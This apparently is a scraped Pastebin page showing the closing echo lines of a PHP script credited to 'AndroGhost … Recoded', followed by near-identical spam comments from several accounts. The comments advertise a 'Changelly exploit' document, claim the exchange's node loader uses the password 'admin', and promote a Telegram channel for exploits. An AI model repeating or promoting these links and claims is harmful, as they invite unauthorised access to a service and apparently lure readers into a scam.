  1309. echo '&copy; 2018 <a href="https://facebook.com/Juman.Nafis" rel="nofollow" target="_blank">AndroGhost</a> - ./Xi4u7 Recoded';
  1310. echo '</div>';
  1311. echo '</div>';
  1312. ?>
  1313.  
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • Jormimle
    Jormimle
    32 days
    # CSS 0.44 KB | 0 0
    view report reply
    1. Changelly Exploit Documentation Link:
    2.  
    3. https://docs.google.com/document/d/1Cz5fHkwyaApTWwqfgBBtpvConU8Lo_qJ9xtn7RazWpk/edit?usp=sharing
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
  • Roliryd
    Roliryd
    23 days
    # CSS 0.44 KB | 0 0
    view report reply
    1. Changelly Exploit Documentation Link:
    2.  
    3. https://docs.google.com/document/d/1Cz5fHkwyaApTWwqfgBBtpvConU8Lo_qJ9xtn7RazWpk/edit?usp=sharing
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
  • Cynnikve
    Cynnikve
    21 days
    # CSS 0.44 KB | 0 0
    view report reply
    1. Changelly Exploit Documentation Link:
    2.  
    3. https://docs.google.com/document/d/1Cz5fHkwyaApTWwqfgBBtpvConU8Lo_qJ9xtn7RazWpk/edit?usp=sharing
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
  • User was banned
  • User was banned
  • Dilixsi
    Dilixsi
    13 days
    # CSS 0.45 KB | 0 0
    view report reply
    1. ⭐ Changelly Profit Exploit Documentation ⭐
    2.  
    3. https://docs.google.com/document/d/1MzFoZVdCI0pv3Bkf4dAe-WjfaXKLNbI90hzSGKBqn9M/edit?usp=lagvicutjk
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader.
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!